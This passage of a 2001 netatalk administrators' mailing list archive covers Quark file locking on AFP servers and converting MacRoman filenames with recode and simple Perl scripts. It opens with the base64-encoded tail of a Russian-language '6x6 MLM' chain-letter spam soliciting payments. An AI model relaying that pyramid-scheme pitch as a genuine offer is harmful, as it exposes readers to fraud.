WCAxMCBYIDEwIFggMTAgWCAxMCBYICQ2ID0gJDYuMDAwLjAwMDA8cD48Yj7SLuUuIOLx5ePu
IML7IOfg8ODh7vLg5fLlICQ2LjY2Ni42NjAhPC9iPjwvYmxvY2txdW90ZT48cD48Zm9udCBj
b2xvcj0jMDAwMDY2Ptbo9PDgIO3lIOzg6+D/IOgg4u7n7O7m7e4g7+798u7s8yDzIMLg8SDi
7uft6Ort8/Ig8e7s7eXt6P8uIC0gwu3o6u3o8uUg4iDw4PHx9+Xy+yDoIOIg8fPy/CDw4OHu
8vsg8ejx8uXs+ywg7/Du8ffo8uDp8uUg4vHlIPHg7Ogg6CDC+yDv7uvz9+jy5SDy7vIg5uUg
8OXn8+v88uDyITwvYmxvY2txdW90ZT48dHI+PHRkIGhlaWdodD00MD48dHI+PHRkPjxmb250
IGZhY2U9InZlcmRhbmEiIHNpemU9KzE+PGNlbnRlcj48Yj7H4Pno8uAg7vIg7uHs4O3gPGJy
PiZuYnNwOzx0cj48dGQgYmdjb2xvcj0jMDAwMDY2PiZuYnNwOzx0cj48dGQgYmdjb2xvcj0j
ZmZmZmNjPjxwPjxkaXYgYWxpZ249anVzdGlmeT48Zm9udCBmYWNlPXZlcmRhbmEgc2l6ZT0y
Pjxicj7E6/8g8u7j7iwg9/Lu4fsg6PHq6/736PL8IO7h8Pvi4OXs7vHy/CDx6PHy5ez7IOH7
6+Ag8ODn8ODh7vLg7eAg8evl5PP++eD/IOfg+ejy4Do8YmxvY2txdW90ZT48cD7CIPDl6uvg
7O3u5SDv6PH87O4g7+7s5fng5fLx/yDy4Org/yDh6Oft5fEt8uDh6+j24Do8YmxvY2txdW90
ZT48cD5DaGFwdGVyIzEuLi4uLi4uLi4uLi4uLi7w5ePo8fLwLiDt7uzl8CDw5fTl8OXw4CC5
MTxicj5DaGFwdGVyIzIuLi4uLi4uLi4uLi4uLi7w5ePo8fLwLiDt7uzl8CDw5fTl8OXw4CC5
Mjxicj5DaGFwdGVyIzMuLi4uLi4uLi4uLi4uLi7w5ePo8fLwLiDt7uzl8CDw5fTl8OXw4CC5
Mzxicj5DaGFwdGVyIzQuLi4uLi4uLi4uLi4uLi7w5ePo8fLwLiDt7uzl8CDw5fTl8OXw4CC5
NDxicj5DaGFwdGVyIzUuLi4uLi4uLi4uLi4uLi7w5ePo8fLwLiDt7uzl8CDw5fTl8OXw4CC5
NTxicj5DaGFwdGVyIzYuLi4uLi4uLi4uLi4uLi7w5ePo8fLwLiDt7uzl8CDw5fTl8OXw4CC5
NjwvYmxvY2txdW90ZT48cD7SLuUuIOrr6OXt8iDqIOru8u7w7uzzIO/w6Pjr7iD98u4g8OXq
6+Ds7e7lIO/o8fzs7iDn7eDl8iDy7uv86u4g8OXj6PHy8OD26O7t7fvlIO3u7OXw4CDw5fTl
8OXw7uIg8yDq7vLu8Pv1IO7tIOTu6+bl7SDq8+/o8vwgQ2hhcHRlcmD7LiDK8+/o8vwg4vHl
IENoYXB0ZXJg+yDzIO3o9SDt4O/w/+zz/iDiIOTg7e376SDs7uzl7fIg7u0g7eUg7O7m5fIg
8uDqIOrg6iDt5SDn7eDl8iDo9SDw5eri6Ofo8u7iLjxwPsTg6+XlIO7tIPDl4+jx8vDo8PPl
8vH/IOIg4+vg4u3u6SDq7u3y7vDlIDbVNiBNTE0gQ29ycG9yYXRpb24g6CDv7uvz9+Dl8jo8
YmxvY2txdW90ZT48cD4xKSBD4u7pIPDl4+jx8vDg9uju7e376SDt7uzl8C48cD4yKSDA5PDl
8eAg4vHl9SDw5fTl8OXw7uIsIPMg6u7y7vD79SDk7uvm5e0g6vPv6PL8IENoYXB0ZXIjMSAt
IENoYXB0ZXIjNi48cD4zKSDQ5err4Ozt7uUg7+jx/OzuIOTr/yDw4PHx++vq6CDxIOjn7OXt
5e3t7ukg4ejn7eXxLfLg4evo9uXpIPHr5eTz/vnl4+4g4ujk4Do8cD5DaGFwdGVyIzEuLi4u
Li4uLi4uLi4uLi7w5ePo8fLwLiDt7uzl8CDk4O3t7uPuIOrr6OXt8uA8YnI+Q2hhcHRlciMy
Li4uLi4uLi4uLi4uLi4u8OXj6PHy8C4g7e7s5fAg8OX05fDl8OAguTE8YnI+Q2hhcHRlciMz
Li4uLi4uLi4uLi4uLi4u8OXj6PHy8C4g7e7s5fAg8OX05fDl8OAguTI8YnI+Q2hhcHRlciM0
Li4uLi4uLi4uLi4uLi4u8OXj6PHy8C4g7e7s5fAg8OX05fDl8OAguTM8YnI+Q2hhcHRlciM1
Li4uLi4uLi4uLi4uLi4u8OXj6PHy8C4g7e7s5fAg8OX05fDl8OAguTQ8YnI+Q2hhcHRlciM2
Li4uLi4uLi4uLi4uLi4u8OXj6PHy8C4g7e7s5fAg8OX05fDl8OAguTU8L2Jsb2NrcXVvdGU+
PHA+7+7q8+/g5fIg4vHlIENoYXB0ZXJg+yDoIO3g9+jt4OXyIPDg8fH76+rzLjwvYmxvY2tx
dW90ZT48cD48Zm9udCBjb2xvcj0jMDAwMDY2PsHr4OPu5ODw/yD98u7pIOfg+ejy5Swg7u0g
7/Du8fLuIO3lIOzu5uXyIO7h7vDi4PL8IPbl7/wg6CDu8fLg4ujy/CDx4u7o9SDw5fTl8OXw
7uIg4eXnIO/w6Pfo8uD++eXp8f8g6Owg7/Do4fvr6C4gwuXk/CD25e/8IOzu5uXyIO7h7vDi
4PL88f8g8u7r/OruIPLu4+TgLCDq7uPk4CDo9SDw5eri6Ofo8u7iIO3lIOHz5OXyIOIg4ejn
7eXxLfLg4evo9uUuINfy7iDi7ufs7ubt7iwg8u7r/OruIOXx6+gg7u0g5+Ds5e3o8iDw5eri
6Ofo8vsg4vHl9SDv//LoIPDl9OXw5fDu4iDx4u7o7Ogg8OXq4ujn6PLg7OguINfl4+4g7u0g
8eTl6+Dy/CDv8O7x8u4g7eUg7O7m5fIsIPIu6i4g5Ov/IP3y7uPuIOXs8yDv8Ojk5fLx/yDn
4PDl4+jx8vDo8O7i4PL88f8g5fnlIO//8vwg8ODnLCDy7uPk4CDq4Oog8OXj6PHy8Ojw7uLg
8vzx/yDs7ubt7iDy7uv86u4g7uTo7SDw4OcuPGJyPiZuYnNwOzx0cj48dGQgaGVpZ2h0PTYw
Pjx0cj48dGQ+PGZvbnQgZmFjZT0idmVyZGFuYSIgc2l6ZT0rMT48Y2VudGVyPjxiPsLbIMPO
0s7C2yDNwNfA0twgwcjHzcXRINEgNtU2PyE8YnI+yNLAyiwgz9DI0dLTz8DFzCE8YnI+Jm5i
c3A7PHRyPjx0ZCBiZ2NvbG9yPSMwMDAwNjY+Jm5ic3A7PHRyPjx0ZCBiZ2NvbG9yPSNmZmZm
Y2M+PHA+PGZvbnQgZmFjZT12ZXJkYW5hIHNpemU9MiBjb2xvcj1yZWQ+PGJyPjxibG9ja3F1
b3RlPjxiPsLt6Ozg7ejlISDCIPHi/+foIPEg7uPw7uzt++wg7/Do8u7q7uwg8OX05fDg6+7i
IPEgMS9JWC0yMDAwIPDl4+jx8vDg9uj/IPHy4OvgIO/r4PLt7ukg6CDx8u7o8iA1IOTu6+vg
8O7iINHYwC48L2I+PGZvbnQgY29sb3I9IzAwMDA2Nj48YmxvY2txdW90ZT48YmxvY2txdW90
ZT48cD48Zm9udCBjb2xvcj0jMDAwMDY2PjxiPtfSziDCwMwgzcXOwdXOxMjMziDRxMXLwNLc
OjwvYj48L2Jsb2NrcXVvdGU+PC9ibG9ja3F1b3RlPjxwPjxiPuApIMfg8OXj6PHy8Ojw8+ny
5fH8IOIg4+vg4u3u6SDq7u3y7vDlIDbVNiBNTE0gQ29ycG9yYXRpb246PC9iPjxwPjEpIM3g
7+j46PLlIO3gIOvo8fLlIOHz7ODj6CAoPGZvbnQgY29sb3I9cmVkPjxiPuDt4+vo6fHq6Ozo
IOHz6uLg7Og8L2I+PC9mb250Pik6PGJsb2NrcXVvdGU+PHA+MSkgwuD46CDULsguzi4sPGJy
PjIpIM/u9/Lu4vvpIODk8OXxIOTr/yDu7+vg8vssPGJyPjMpIMHg7eru4vHq6OUg8OXq4ujn
6PL7IOTr/yDu7+vg8vsgPGk+KO3l7uH/5+Dy5ev87e4pPC9pPiw8YnI+NCkgwuD4IGUtbWFp
bCAtIO/o+Ojy5SDw4Ofh7vD36OLuIOgg4iDk4Ov87eXp+OXsIOjx7+7r/Ofz6fLlIOXj7iDy
7uv86u4g5Ov/IPHi/+foIPEg4+vg4u3u6SDq7u3y7vDu6SA21TYsPGJyPjUpIM3g9e7k//nz
/vH/IO3o5uUg4ejn7eXxLfLg4evo9vMg4iDw5ePo8fLw4Pbo7u3t7i3t7uzl8O3u7CDi6OTl
LDxicj42KSDE4PLzIO7y7/Dg4uvl7ej/IO/o8fzs4C48L2Jsb2NrcXVvdGU+PHA+Mikgwuvu
5ujy5SDiIO3l4+4gJDUg6CDu8u/w4OL88uUg7+4g7+738uUgPGI+5+Dq4Oft++wg4OLo4O/o
8fzs7uw8L2I+IO3gIODk8OXxIOPr4OLt7ukg6u7t8u7w+yA2eDYgTUxNIENvcnBvcmF0aW9u
OjxibG9ja3F1b3RlPjxwPjxiPklnb3IgVGljaHRjaGVua292LCBMYWFuZW1lcmUgMjAtOTYs
IDEzOTEzIFRhbGxpbm4sIEVzdG9uaWEuPC9iPjwvYmxvY2txdW90ZT48cD4zKSDCIPLl9+Xt
6OUg7eXk5evoIMLg7CDv8Ojp5OXyICjt4CBlLW1haWwsIOru8u7w++kgwvsg8+rg5+Dr6CDi
IPDl4+jx8vDg9uju7e3u6SD07vDs5Skg7+jx/OzuLCDx7uTl8Obg+eXlOjxibG9ja3F1b3Rl
PjxwPjEpIMLg+CDw5ePo8fLw4Pbo7u3t++kg7e7s5fAuPGJyPjIpIMDk8OXx4CDi8eX1IPDl
9OXw5fDu4iwg8yDq7vLu8Pv1IML7IOTu6+bt+yDq8+/o8vwgQ2hhcHRlcmD7Ljxicj4zKSDQ
5err4Ozt7uUg7+jx/OzuIPEg6Ofs5e3l7e3u6SDh6Oft5fEt8uDh6+j25eksIPHu5OXw5uD5
5ekgwuD4IPDl4+jx8vDg9uju7e376SDt7uzl8Cwg6u7y7vDu5SDC+yDh8+Tl8uUg8ODx8fvr
4PL8Ljxicj40KSDN5e7h9e7k6Oz75SDk6/8g7eD34OvgIPDg4e7y+yDo7fHy8PPq9ujoLjwv
YmxvY2txdW90ZT48cD48Yj7hKSDR8ODn8yDq8+/o8uUgQ2hhcHRlcmD7IOIg8e7u8uLl8vHy
4ujoIPEg4ejn7eXxLfLg4evo9uXpOjwvYj48cD48Y2VudGVyPjx0YWJsZSB3aWR0aD0iNjAl
IiBib3JkZXI9IjEiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+PHRyPjx0ZD48
Y2VudGVyPjxiPjxmb250IGZhY2U9dmVyZGFuYSBjb2xvcj0iIzAwMDA2NiI+w+vg4uAguTwv
dGQ+PHRkPjxjZW50ZXI+PGI+PGZvbnQgZmFjZT12ZXJkYW5hIGNvbG9yPSIjMDAwMDY2Ij7Q
5eMuILkg0OX05fDl8OA8dHI+PHRkPjxjZW50ZXI+PGZvbnQgZmFjZT12ZXJkYW5hIGNvbG9y
PSIjMDAwMDY2Ij5DaGFwdGVyIzE8L3RkPjx0ZD48Y2VudGVyPjxiPjxmb250IGZhY2U9dmVy
ZGFuYSBjb2xvcj0iI0ZGMDAwMCI+Nng2LTAwMDAwMS16LTkwNzx0cj48dGQ+PGNlbnRlcj48
Zm9udCBmYWNlPXZlcmRhbmEgY29sb3I9IiMwMDAwNjYiPkNoYXB0ZXIjMjwvdGQ+PHRkPjxj
ZW50ZXI+PGI+PGZvbnQgZmFjZT12ZXJkYW5hIGNvbG9yPSIjRkYwMDAwIj42eDYtMDAwMDAx
LXotNzYxPHRyPjx0ZD48Y2VudGVyPjxmb250IGZhY2U9dmVyZGFuYSBjb2xvcj0iIzAwMDA2
NiI+Q2hhcHRlciMzPC90ZD48dGQ+PGNlbnRlcj48Yj48Zm9udCBmYWNlPXZlcmRhbmEgY29s
b3I9IiNGRjAwMDAiPjZ4Ni0wMDAwMDAtei0wMDE8dHI+PHRkPjxjZW50ZXI+PGZvbnQgZmFj
ZT12ZXJkYW5hIGNvbG9yPSIjMDAwMDY2Ij5DaGFwdGVyIzQ8L3RkPjx0ZD48Y2VudGVyPjxi
Pjxmb250IGZhY2U9dmVyZGFuYSBjb2xvcj0iI0ZGMDAwMCI+TWFzdGVyIDZ4Njx0cj48dGQ+
PGNlbnRlcj48Zm9udCBmYWNlPXZlcmRhbmEgY29sb3I9IiMwMDAwNjYiPkNoYXB0ZXIjNTwv
dGQ+PHRkPjxjZW50ZXI+PGI+PGZvbnQgZmFjZT12ZXJkYW5hIGNvbG9yPSIjRkYwMDAwIj5N
YXN0ZXIgNng2PHRyPjx0ZD48Y2VudGVyPjxmb250IGZhY2U9dmVyZGFuYSBjb2xvcj0iIzAw
MDA2NiI+Q2hhcHRlciM2PC90ZD48dGQ+PGNlbnRlcj48Yj48Zm9udCBmYWNlPXZlcmRhbmEg
Y29sb3I9IiNGRjAwMDAiPk1hc3RlciA2eDY8L3RhYmxlPjwvY2VudGVyPjxmb250IGNvbG9y
PXJlZD48cCBhbGlnbj1qdXN0aWZ5PjxiPs/QyMzF18DNyMUhIMXx6+gg4iDh6Oft5fEt8uDh
6+j25SDt5fHq7uv86u4g6OvoIOTg5uUg4vHlIPDl4+jy8OD26O7t7fvlIO3u7OXw4CAtIE1h
c3RlciA2eDYsIPLuIO3o6uDq7ukg7vjo4eroIOIg/fLu7CDt5fIsIO/w7vHy7iDC4Owg7+7i
5efr7iDyLuouIO/w6PHu5eTo7eji+Ojx/CDC+yDh8+Tl8uUg4iDx4Ozu7CDt4Pfg6+Ug4ejn
7eXxIPHo8fLl7PsgLSDyLuUuIMLg+Ogg+ODt8fsg7eAg8/Hv5fUg7ODq8ejs4Ov87fsuPC9i
bG9ja3F1b3RlPjx0cj48dGQgaGVpZ2h0PTQwPjx0cj48dGQ+PGRpdiBhbGlnbj1qdXN0aWZ5
Pjxmb250IGZhY2U9dmVyZGFuYSBzaXplPTI+yuDqIPLu6/zq7iDC+yD98u4g8eTl6+Dl8uUg
8fDg5/Mg7eD36O3g6fLlIPDg8fH76+rzLiDP7uTw7uHt5eUg7uEg/fLu7CDC+yDz5+3g5fLl
IO3l7+7x8OXk8fLi5e3t7iDo5yBDaGFwdGVyYO7iLiDC8eXj7iDC4Owg5uXr4PLl6/zt7iDv
8Oji6+X3/CDu6u7r7iAzMCDw5fTl8ODr7uIguTEgLSDyLuUuIO/w7uTg8vwgMzAgQ2hhcHRl
ciMxLiDV7vL/IPfl7CDh7uv8+OUgwvsg6PUg7/Do4uvl9+Xy5Swg8uXsIOHu6/z45SDv8Ojh
++voIO/u6/P36PLlLjxwPs/u8fLg8ODp8uXx/CDw4PHx++vg8vwg7eUg7OXt5eUgMy4wMDAg
8OXq6+Ds7fv1IO/o8eXsIOIg5OXt/CAo8e4g8e/l9ujg6/zt++zoIO/w7uPw4Ozs4OzoLCDq
7vLu8PvlIML7IO/u6/P36PLlIOLs5fHy5SDxIENoYXB0ZXJg4OzoLCDt5SDx7vHy4OLo8iDy
8PPk4CDw4PHx++vg8vwg6CDv7iAyMC4wMDAg7+jx5ewg4iDk5e38KS4gxfHr6CDs7ubl8uUg
4e7r/PjlLCDw4PHx++vg6fLlIOHu6/z45SAo7+7k8O7h7eXlIOIgQ2hhcHRlciM1KS48cD7O
IOTg6/zt5en46PUg+ODj4PUgwvsg8+ft4OXy5SDiIENoYXB0ZXJg4PUuIMLl8fwg7/Du9uXx
8SDw4PHy/+Po4uDl8vH/IO/w6Ozl8O3uIO3gIDQg7OXx//bgIPHuIOTt/yDt4Pfg6+Ag4ejn
7eXx4C4gxfHr6CDC+yDh8+Tl8uUg9+Xy6u4g8evl5O7i4PL8IOLx5ewg7/Dg4ujr4OwsIPLu
IOLt5SDi8f/q6PUg8e7s7eXt6Okg4fPk5fLlIO7h6+Dk4PLl6+XsIO3l8eru6/zq6PUg8e7y
5e0g8vvx//cg5O7r6+Dw7uIhIMz7IOft4OXsLCD38u4g/fLuIOHz5OXyIOjs5e3t7iDy4Oos
IOgg7eDsIO7x8uDl8vH/IPLu6/zq7iDv7ufk8ODi6PL8IMLg8SE8dHI+PHRkIGhlaWdodD02
MD48dHI+PHRkPjxmb250IGZhY2U9InZlcmRhbmEiIHNpemU9KzE+PGNlbnRlcj48Yj7AIPLl
7+Xw/CDn4CDk5evuITxwPjxmb250IGNvbG9yPSMwMDAwNjYgc2l6ZT01PjxiPsbl6+Dl7CDC
4Owg7uPw7uzt+/Ug8/Hv5fXu4iEhITx0cj48dGQgaGVpZ2h0PTQwPjx0cj48dGQgYmdjb2xv
cj0jZmZmZmNjPiZuYnNwOzx0cj48dGQgYmdjb2xvcj0jMDAwMDY2PiZuYnNwOzx0cj48dGQ+
PGJyPjxjZW50ZXI+PGZvbnQgZmFjZT0idmVyZGFuYSIgc2l6ZT0iMSIgY29sb3I9IiM1NTU1
NTUiPkNvcHlyaWdodCCpIDIwMDEgNng2IE1MTSBDb3Jwb3JhdGlvbi4gQWxsIHJpZ2h0cyBy
ZXNlcnZlZC48L2ZvbnQ+PC90YWJsZT48L3RhYmxlPjwvY2VudGVyPjwvYm9keT48L2h0bWw+


------=_8arF3SLL~ny30KKzi--


From netatalk.administrators-errors@umich.edu  Thu Aug  2 04:20:08 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA02812
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 2 Aug 2001 04:20:08 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id EAA08792
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 2 Aug 2001 04:20:08 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA08776
	for netatalk.administrators-members@umich.edu; Thu, 2 Aug 2001 04:20:07 -0400 (EDT)
Received: from sj.com (dipsy.sj.com [62.96.248.15])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA08720
	for <netatalk-admins@umich.edu>; Thu, 2 Aug 2001 04:20:06 -0400 (EDT)
Received: from [172.16.172.241] ([172.16.172.241] verified)
  by sj.com (CommuniGate Pro SMTP 3.3.2)
  with ESMTP id 5340871; Thu, 02 Aug 2001 10:20:04 +0200
Mime-Version: 1.0
X-Sender: rose@mailhost.i.sj.com
Message-Id: <p04330101b78ebc6f6b24@[172.16.172.241]>
In-Reply-To: <Pine.GSO.3.96.1010801115925.6433A-100000@orion.sfsu.edu>
References: <Pine.GSO.3.96.1010801115925.6433A-100000@orion.sfsu.edu>
Date: Thu, 2 Aug 2001 10:20:03 +0200
To: Rob deMallac <rsauzier@sfsu.edu>, Jeff Masud <jeff@sudjam.com>
From: Axel Rose <rose@sj.com>
Subject: Re: quark file locking
Cc: netatalk-admins@umich.edu
Content-Type: text/plain; charset="us-ascii"

Rob cited:
>... Because of the way Quark handles its temp files, it is a bad idea to open
>a Quark file from any AFP Server.
>The best thing to do is to copy the
>Quark file to the local machine, open it, edit it, and close it; then copy
>it back to the AFP Server."


This is rubbish.

Commercial workflow solutions always open Quark files from
the server. This causes problems only if you have a
corrupted desktop file (with Helios EtherShare this might
happen if you are playing in the Unix file system) or you
have no way to store alias information on the server volume
(that's what's missing in netatalk).


Best regards


Axel

From netatalk.administrators-errors@umich.edu  Thu Aug  2 04:31:29 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA03008
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 2 Aug 2001 04:31:29 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id EAA00527
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 2 Aug 2001 04:31:28 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA00508
	for netatalk.administrators-members@umich.edu; Thu, 2 Aug 2001 04:31:28 -0400 (EDT)
Received: from hammail1.truenorth.com (h-213.61.138.102.host.de.colt.net [213.61.138.102])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA00455
	for <netatalk-admins@umich.edu>; Thu, 2 Aug 2001 04:31:27 -0400 (EDT)
Received: from fcb-wilkens.com ([170.200.66.15]) by
          hammail1.truenorth.com (Netscape Messaging Server 4.15) with
          ESMTP id GHFMCC00.7F7 for <netatalk-admins@umich.edu>; Thu, 2
          Aug 2001 10:31:24 +0200 
Sender: hollow@kingcreole.mr.itd.umich.edu
Message-ID: <3B690FDC.9A0A1F88@fcb-wilkens.com>
Date: Thu, 02 Aug 2001 10:31:24 +0200
From: Harald Wagener <hwagener@fcb-wilkens.com>
Organization: FCB Wilkens
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.2-SGI_XFS_1.0 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: German Umlauts - next questions
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Is there a script that converts filenames in MacRoman encoding to latin1 encoding.
I looked at google, but it did not give me anything.

Regards,
	Harald

-- 
Harald Wagener      |                                Systemadministrator 
FCB/Wilkens GmbH    |                              Tel.:+49-40-2881-1252 
An der Alster 42    |                              Fax.:+49-40-2881-1263 
20099 Hamburg       |                         http://www.fcb-wilkens.com

From netatalk.administrators-errors@umich.edu  Thu Aug  2 04:47:31 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA03367
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 2 Aug 2001 04:47:31 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id EAA07029
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 2 Aug 2001 04:47:31 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA07010
	for netatalk.administrators-members@umich.edu; Thu, 2 Aug 2001 04:47:30 -0400 (EDT)
Received: from users.phg-online.de (users.phg-online.de [195.238.236.6])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA06944
	for <netatalk-admins@umich.edu>; Thu, 2 Aug 2001 04:47:29 -0400 (EDT)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id LAA05027;
	Thu, 2 Aug 2001 11:03:56 +0200
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Thu, 02 Aug 2001 10:49:54 +0200
Subject: Re: German Umlauts - next questions
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Harald Wagener <hwagener@fcb-wilkens.com>, <netatalk-admins@umich.edu>
Message-ID: <B78EE0AF.F47E%Thomas.Kaiser@phg-online.de>
In-Reply-To: <3B690FDC.9A0A1F88@fcb-wilkens.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Thu, 02 Aug 2001 10:31:24 +0200, Harald Wagener wrote:

> Is there a script that converts filenames in MacRoman encoding to latin1
> encoding.
> I looked at google, but it did not give me anything.

you might want to use GNU recode (UNIX) or Tanakas OSAX 2.0 (MacOS -->
<http://osaxen.com>) to convert between.

recode: LATIN1FILENAME=`echo $MACROMANFILENAME | recode applemac..latin1`

Tanakas OSAX: set LATIN1FILENAME to (MT Convert W code MACROMANFILENAME from
MacRoman to Latin1)

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Thu Aug  2 06:47:53 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA06000
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 2 Aug 2001 06:47:53 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id GAA26454
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 2 Aug 2001 06:47:40 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA26432
	for netatalk.administrators-members@umich.edu; Thu, 2 Aug 2001 06:47:39 -0400 (EDT)
Received: from sj.com (dipsy.sj.com [62.96.248.15])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id GAA26374
	for <netatalk-admins@umich.edu>; Thu, 2 Aug 2001 06:47:37 -0400 (EDT)
Received: from [172.16.172.241] ([172.16.172.241] verified)
  by sj.com (CommuniGate Pro SMTP 3.3.2)
  with ESMTP id 5342105; Thu, 02 Aug 2001 12:47:46 +0200
Mime-Version: 1.0
X-Sender: rose@mailhost.i.sj.com
Message-Id: <p04330105b78ed9d41833@[172.16.172.241]>
In-Reply-To: <3B690FDC.9A0A1F88@fcb-wilkens.com>
References: <3B690FDC.9A0A1F88@fcb-wilkens.com>
Date: Thu, 2 Aug 2001 12:47:44 +0200
To: Harald Wagener <hwagener@fcb-wilkens.com>, netatalk-admins@umich.edu
From: Axel Rose <rose@sj.com>
Subject: Re: German Umlauts - next questions
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id GAA06000

Hello Harald,

with Perl you can help yourself.

First a little help script to find the encodings:

#!/usr/bin/perl

printf( "ä = %x\n", ord('ä') );
printf( "ö = %x\n", ord('ö') );
printf( "ü = %x\n", ord('ü') );
printf( "Ä = %x\n", ord('Ä') );
printf( "Ö = %x\n", ord('Ö') );
printf( "Ü = %x\n", ord('Ü') );
printf( "ß = %x\n", ord('ß') );


__END__

run on Mac results:

ä = 8a
ö = 9a
ü = 9f
Ä = 80
Ö = 85
Ü = 86
ß = a7

run under Unix results:

ä = e4
ö = f6
ü = fc
Ä = c4
Ö = d6
Ü = dc
ß = df

Then use this to build your own converter:

#!/usr/bin/perl -w
use strict;

my $filename = "achja-äöü-ÄÖÜ-ß-/-entreé";
print isoencode( $filename ), "\n";


sub isoencode
{
        my $input_name = $_[0];

        # unvollstaendig!! TODO
        # aus ISO-8859-1 nach ES Kodierung

        # /, ae, oe, ue, Ae, Oe, Ue, sz
        $input_name =~ s/\//:2f/g;

        $input_name =~ s/\xe4/:8a/g;
        $input_name =~ s/\xf6/:9a/g;
        $input_name =~ s/\xfc/:9f/g;
        $input_name =~ s/\xc4/:80/g;
        $input_name =~ s/\xd6/:85/g;
        $input_name =~ s/\xdc/:86/g;
        $input_name =~ s/\xdf/:a7/g;

        # DEL Char 0x7f, 127
        $input_name =~ s/\x7f/:7f/g;

        return( $input_name );
}

__END__

With input in MacRoman it is easier because you don't need
a translation table. Just translate \x8a to ":8a".

#!/usr/bin/perl -w
use strict;

my $s = "abc-äöü-def";
# beware the "/" in Mac filenames
$s =~ s/\//:2f/g;
$s =~ s/[\x7f-\xff]/&enc($&)/ge;
print $s, "\n";

sub enc
{
	my $arg = shift;
	return sprintf( ":%x", ord( $arg ) );
}

__END__


This of course is incomplete and only provided as a basis for
your own customization.


HTH


Axel
----------------------------------------------------------------------
Axel Rose, Springer & Jacoby Digital GmbH & Co. KG, mailto:rose@sj.com
pub PGP key 1024/A21CB825 E0E4 BC69 E001 96E9  2EFD 86CA 9CA1 AAC5
            "Was man nicht weiß, das eben braucht man.
             Und was man weiß, kann man nicht brauchen."

From netatalk.administrators-errors@umich.edu  Thu Aug  2 07:09:40 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA06362
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 2 Aug 2001 07:09:39 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id HAA11140
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 2 Aug 2001 07:09:39 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA11131
	for netatalk.administrators-members@umich.edu; Thu, 2 Aug 2001 07:09:39 -0400 (EDT)
Received: from Ceres.digitalgraphics.net (digitalgraphics.net [216.133.71.226])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id HAA11115
	for <netatalk-admins@umich.edu>; Thu, 2 Aug 2001 07:09:38 -0400 (EDT)
Received: from cx448422-b.wwck1.ri.home.com (cx448422-b.wwck1.ri.home.com [24.18.198.105])
	by Ceres.digitalgraphics.net (8.9.3/8.9.3) with SMTP id HAA30351
